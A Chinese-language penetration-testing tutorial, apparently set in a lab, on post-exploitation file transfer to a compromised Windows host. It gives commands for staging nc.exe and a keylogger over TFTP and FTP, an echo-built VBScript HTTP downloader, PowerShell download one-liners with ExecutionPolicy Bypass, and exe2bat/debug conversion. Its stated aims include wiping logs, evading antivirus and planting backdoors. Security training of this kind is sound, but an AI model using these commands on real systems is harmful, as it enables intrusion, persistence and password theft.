先來(lái)解釋一下什么是后漏洞利用階段。就是經(jīng)過(guò)一系列簡(jiǎn)單或者復(fù)雜的操作后,你已經(jīng)獲取了目標(biāo)機(jī)器當(dāng)前的管理員權(quán)限,但是你這個(gè)管理員權(quán)限不一定一直會(huì)有效,說(shuō)不定目標(biāo)機(jī)器的主人明天就更新補(bǔ)丁,就把現(xiàn)有的一些緩沖區(qū)溢出的漏洞封死了。
所以我們要在還能擁有權(quán)限的這段時(shí)間,給自己開(kāi)一個(gè)長(zhǎng)久有效的后門(mén)。
后漏洞利用階段:操作步驟
一般在后漏洞利用階段,我們主要做這些操作:
- 上傳工具
- 提權(quán)
- 擦除攻擊痕跡
- 安裝后門(mén):4.1 長(zhǎng)期控制、4.2 dump密碼、4.3 內(nèi)網(wǎng)滲透
上傳工具很容易理解,目標(biāo)機(jī)器畢竟不是我們自己的,有我們所有需要的工具,目標(biāo)機(jī)器現(xiàn)有的工具也不一定能滿足你的需要,所以要根據(jù)實(shí)際情況,往目標(biāo)機(jī)器里傳入一些用于實(shí)現(xiàn)后續(xù)目的的工具。
提權(quán)是因?yàn)槟氵M(jìn)入目標(biāo)機(jī)器,不一定是以管理員的身份進(jìn)入,也許只是以普通用戶的身份進(jìn)入,這時(shí)候就需要想其他辦法提升當(dāng)前賬號(hào)的權(quán)限,或者給自己弄一個(gè)管理員賬號(hào)。不然后續(xù)的很多操作可能都會(huì)受到限制。
擦除攻擊痕跡是比較重要的一個(gè)步驟,不管是操作系統(tǒng)的日志,還是應(yīng)用程序的日志,都需要清理干凈。我們前期的掃描、攻擊動(dòng)作,都會(huì)在目標(biāo)系統(tǒng)留下相應(yīng)的記錄,就拿前面對(duì)SLmail的攻擊作為例子,在目標(biāo)機(jī)器的日志中會(huì)有對(duì)應(yīng)的記錄:
攻擊機(jī)在目標(biāo)機(jī)器留下的記錄
最后安裝后門(mén),就是我們的最終目的。
后漏洞利用階段:難點(diǎn)
后漏洞利用階段最大的挑戰(zhàn)是防病毒軟件。防病毒軟件都有很豐富的特征庫(kù),只要匹配上特征庫(kù),就會(huì)被當(dāng)成病毒或者漏洞進(jìn)行處理。而前面的操作,很多都會(huì)被防病毒軟件識(shí)別出來(lái)并修改。
為了防止被防病毒軟件的特征庫(kù)匹配上,我們?cè)谶x用傳給目標(biāo)機(jī)器的軟件時(shí),盡量選用合法的遠(yuǎn)程控制軟件。比如目標(biāo)機(jī)器是linux系統(tǒng)的話,curl和wget一般是所有Linux系統(tǒng)都會(huì)預(yù)裝的工具,通過(guò)這兩個(gè)工具很容易就能完成其他工具或者木馬的下載安裝,或者安裝一個(gè)netcat,也就能完成很多騷操作。而windows系統(tǒng)的dos界面的預(yù)裝下載工具,其實(shí)是比較少接觸和使用的,很多人都習(xí)慣了Windows圖形化界面的工具。
后漏洞利用階段:Windows的目標(biāo)機(jī)器
像前面利用SLmail緩沖區(qū)溢出獲取的遠(yuǎn)程控制,也就是shell,是一種非交互模式shell,類(lèi)似nc的遠(yuǎn)程控制shell,
非交互模式shell和交互模式shell比較明顯的不同有以下幾點(diǎn):
- 不能通過(guò)tab鍵進(jìn)行命令補(bǔ)全,非交互模式shell必須手敲完整命令;
- 在非交互模式shell里面執(zhí)行一個(gè)子命令,比如輸入Python,無(wú)法進(jìn)入對(duì)應(yīng)的控制臺(tái)。
非交互模式shell無(wú)法進(jìn)入子命令
所以我們要盡量實(shí)現(xiàn)交互模式的遠(yuǎn)程控制。只是獲得了非交互式模式的遠(yuǎn)程控制,對(duì)于我們后續(xù)的操作還是有一些限制的。所以接下來(lái)我們主要介紹一些將工具傳給目標(biāo)主機(jī)的方法。
往Windows傳文件:TFTP
TFTP(Trivial File Transfer Protocol,簡(jiǎn)單文件傳輸協(xié)議)是一個(gè)傳輸文件的簡(jiǎn)單協(xié)議,絕大多數(shù)情況下基于UDP協(xié)議而實(shí)現(xiàn),也不排除有部分TFTP協(xié)議是基于其它傳輸協(xié)議完成的。用來(lái)在客戶機(jī)與服務(wù)器之間進(jìn)行簡(jiǎn)單文件傳輸,提供不復(fù)雜、開(kāi)銷(xiāo)不大的文件傳輸服務(wù)。端口號(hào)為69。
TFTP沒(méi)有身份校驗(yàn)的功能,所以沒(méi)有成為主流的傳輸工具。現(xiàn)在主流的windows10是需要單獨(dú)添加TFTP服務(wù)的,不能直接使用。以前的windowsXp是默認(rèn)預(yù)裝的,不過(guò)現(xiàn)在應(yīng)該很少有人用xp了。而且現(xiàn)在的邊界防火墻一般都會(huì)將tftp的數(shù)據(jù)包過(guò)濾掉,所以TFTP使用場(chǎng)景其實(shí)還是有些局限性的。
如何在windows10安裝TFTP就不在這里展開(kāi)了,網(wǎng)上有比較詳細(xì)的教程帖子。這里主要演示將kali作為服務(wù)器,在windows環(huán)境下載服務(wù)器上的文件。
先要在作為服務(wù)器的機(jī)器上創(chuàng)建一個(gè)根目錄,這個(gè)目錄用于存放各種遠(yuǎn)程控制軟件:
mkdir /tftp
修改tftp文件夾的擁有者,讓誰(shuí)都可以訪問(wèn):
chown -R nobody /tftp/
找一些kali里默認(rèn)存放著的一些控制工具到tftp文件夾:
cp /usr/share/windows-binaries/nc.exe /tftp
在
/usr/share/windows-binaries/目錄下,存放了一些為windows機(jī)器準(zhǔn)備的一些安裝程序。
啟動(dòng)tftp的服務(wù):
atftpd --daemon --port 69 /tftp
參數(shù)--daemon表示在后臺(tái)運(yùn)行,后面的--port就是指定端口。
可以通過(guò)檢查端口來(lái)判斷tftp的服務(wù)是否啟動(dòng):
netstat -pantu | grep 69
需要注意的一點(diǎn)是,如果你的檢查結(jié)果顯示(最右邊那項(xiàng))進(jìn)程不是atftpd,可能是你的權(quán)限還有問(wèn)題,沒(méi)有將tftp文件夾和里面的所有文件的擁有者改成nobody。
當(dāng)然就算檢查結(jié)果顯示進(jìn)程是atftpd,如果tftp文件夾里的文件不是nobody,后面其他機(jī)器想要下載也會(huì)有問(wèn)題。所以只要有文件放入tftp文件夾,就執(zhí)行一下上面修改文件擁有者的命令:
修改文件的權(quán)限
然后就可以在Windows機(jī)器去下載kali里的文件了:
tftp -i 192.168.0.102 get nc.exe
這里介紹兩個(gè)kali里為Windows機(jī)器準(zhǔn)備的三個(gè)程序。第一個(gè)是nc.exe,它的功能和netcat類(lèi)似;第二個(gè)是whoami.exe,可以檢查當(dāng)前使用賬戶的權(quán)限;第三個(gè)是klogger.exe,一旦運(yùn)行,就會(huì)記錄所有鍵盤(pán)的敲擊,對(duì)于盜取賬戶密碼應(yīng)該是很挺有用的。
往Windows傳文件:FTP
kali默認(rèn)是沒(méi)有預(yù)裝ftp工具的,所以需要自己選擇一個(gè)ftp工具進(jìn)行安裝。ftp的工具有很多,比如vsftpd、pure-ftpd等等,這里使用的是vsftpd。
安裝比較簡(jiǎn)單,直接一個(gè)命令就可以:
apt-get install vsftpd
如果下載不成功的話,可以到/etc/apt/sources.list文件里修改一下源地址。
vsftpd常用的命令如下:
# 啟動(dòng)服務(wù)
service vsftpd start
# 查看服務(wù)
service vsftpd status
# 停止服務(wù)
service vsftpd stop
# 重新啟動(dòng)服務(wù)
service vsftpd restart
可以先啟動(dòng)一下,看看能不能順利啟動(dòng):
檢查vsftpd安裝是否正確
接下來(lái)先要?jiǎng)?chuàng)建一個(gè)用于上傳下載的目錄,要給創(chuàng)建的這個(gè)目錄修改一下權(quán)限,因?yàn)閷?shí)際使用中會(huì)創(chuàng)建、修改文件,我這邊圖簡(jiǎn)便就直接777了:
創(chuàng)建上傳/下載的目錄
然后需要新建用戶并設(shè)置密碼:
新建用戶
如果不明白u(yù)seradd各個(gè)參數(shù)的使用,可以通過(guò)-h看一下使用說(shuō)明。這里-d表示設(shè)置新用戶的home目錄,-s表示新用戶的登錄方式。
修改配置文件vsftpd.conf:
控制用戶登錄
還有將vsftpd.conf文件里的這個(gè)注釋取消:
取消注釋
取消這個(gè)注釋是為了能夠?qū)懭胛募?/p>
前面配置的時(shí)候是用/root/allowed_users文件來(lái)控制登錄,那就要到對(duì)應(yīng)位置創(chuàng)建文件:
設(shè)置登錄用戶
在配置了登錄用戶后,你可能會(huì)發(fā)現(xiàn)這些用戶還是無(wú)法登錄,那你就可以到黑名單文件看一下,你的用戶是否在黑名單上面:
cat /etc/ftpusers
完成上述配置后重啟一下vsftpd的服務(wù),讓配置生效:
重啟vsftpd服務(wù)
這個(gè)時(shí)候已經(jīng)可以正常使用ftp了,先在本地試一下:
本地使用ftp
換到windows環(huán)境下訪問(wèn)ftp:
ftp://ftpuser:[email protected]
別用瀏覽器直接輸入命令,大概率會(huì)出現(xiàn)問(wèn)題,到“我的電腦”地址欄輸入命令,或者也可以使用ftp工具(Windows自帶ftp工具)。
這里可能有些同學(xué)會(huì)想到我們最開(kāi)始獲取的都是非交互模式shell,無(wú)法正常完成賬戶名、密碼的驗(yàn)證,也沒(méi)有圖形化界面可以使用。
其實(shí)可以換個(gè)思路,將所有目標(biāo)機(jī)器上要執(zhí)行的ftp命令,都寫(xiě)到目標(biāo)機(jī)器的文本文件里,最后使用Windows上的ftp命令調(diào)用前面寫(xiě)的文本文件:
在目標(biāo)機(jī)器制作ftp.txt文件
讓ftp讀取文本中的相關(guān)指令:
執(zhí)行ftp.txt
可以查看一下是否獲取到文件:
查看獲取到的文件
往Windows傳文件:vbscript
vbscript能實(shí)現(xiàn)的功能很多,這里就演示一個(gè)讓目標(biāo)主機(jī)通過(guò)http訪問(wèn)我預(yù)先準(zhǔn)備好的地址,將事先準(zhǔn)備好的軟件下載到目標(biāo)主機(jī)。
因?yàn)橐ㄟ^(guò)http訪問(wèn),所以要啟動(dòng)一個(gè)服務(wù),這里使用kali中自帶的Apache服務(wù):
service apache2 start
apache服務(wù)的默認(rèn)目錄在:/var/www/html,將要傳給目標(biāo)主機(jī)的軟件移動(dòng)或者復(fù)制到這個(gè)目錄:
將軟件存入預(yù)定位置
生成vbscript的腳本的命令如下:
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strUrl, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray, lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
最后生成的vbscript腳本是這樣的:
vbscript腳本
執(zhí)行的時(shí)候需要使用cscript工具:
cscript wget.vbs http://192.168.0.102/whoami.exe whoami.exe
查看軟件是否被下載:
檢查下載的軟件
往Windows傳文件:powershell
vbscript相對(duì)以前,其實(shí)不是很被推崇了,現(xiàn)在比較新的Windows系統(tǒng),都是推薦使用powershell,所以這里也介紹一種powershell傳輸軟件的方式。
腳本比較簡(jiǎn)單:
$storngeDir = $pwd
$webclient = New-Object System.Net.WebClient
$url = 'http://192.168.0.102/whoami.exe'
$file = 'D:w.exe'
$webclient.DownloadFile($url, $file)
在已經(jīng)開(kāi)啟http服務(wù)的情況下,在Windows環(huán)境通過(guò)命令執(zhí)行上面這個(gè)腳本:
powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
如果執(zhí)行的時(shí)候遇到“遠(yuǎn)程服務(wù)器返回錯(cuò)誤: (403) 已禁止。”,那應(yīng)該是源文件的權(quán)限有問(wèn)題,用chmod命令去修改一下權(quán)限就可以了。
執(zhí)行命令中的一些參數(shù)-ExecutionPolicy主要是為了允許本地執(zhí)行powershell腳本,感興趣的可以通過(guò)-Help看一下幫助說(shuō)明。
上面的腳本其實(shí)可以省略,直接在dos界面執(zhí)行一個(gè)長(zhǎng)命令:
powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.0.102/whoami.exe', 'D:w.exe')
也能達(dá)到同樣的效果:
下載軟件
如果本地的執(zhí)行策略比較嚴(yán)格,還是需要加上前面的那些參數(shù)。
還有powershell能使用的模塊很多,不一定要用System.Net.WebClient,還有Invoke-WebRequest、Invoke-RestMethod、Start-BitTransfer都能達(dá)到同樣的效果。具體使用哪一個(gè)模塊,主要看你控制的機(jī)器具體版本,一般都是有什么用什么。
往Windows傳文件:debug
Debug工具是windows用來(lái)做匯編等的一個(gè)工具。在新一點(diǎn)的Windows10已經(jīng)沒(méi)有了,早一些的WindowsXp還是有的。如果你的目標(biāo)機(jī)器是Windows10的系統(tǒng),且現(xiàn)有條件讓你必須使用debug,那你必須給目標(biāo)機(jī)器安裝一個(gè)debug工具,這就變成先有雞還是先有蛋的問(wèn)題了。不是很推薦debug這種方式傳輸軟件。
先將要傳遞的軟件進(jìn)行壓縮:
upx -9 whoami.exe
壓縮不是必須的,只是當(dāng)文件太大的時(shí)候,debug就無(wú)法轉(zhuǎn)換成功,debug最大只能是64Kb。
用工具exe2bat.exe轉(zhuǎn)換一下:
wine /usr/share/windows-binaries/exe2bat.exe whoami.exe whoami.txt
由于這個(gè)工具是Windows環(huán)境的,所以要通過(guò)wine工具來(lái)運(yùn)行。可以看到輸出的文檔:
cat whoami.txt
在已經(jīng)獲取的非交互模式shell中,直接執(zhí)行輸出txt文檔里面的內(nèi)容,除最后兩行外。
執(zhí)行完之后,在被控制的目標(biāo)機(jī)器上就會(huì)有一個(gè)123.hex文件:
目標(biāo)機(jī)器生成123.hex
然后執(zhí)行倒數(shù)第二行命令debug<123.hex,Windows就會(huì)進(jìn)行一個(gè)匯編的工程,最終輸出一個(gè)1.DLL文件,這個(gè)文件其實(shí)就是原來(lái)的exe文件。最后就是執(zhí)行最后一行命令copy 1.dll whoami.exe,將文件還原成exe的可執(zhí)行文件。






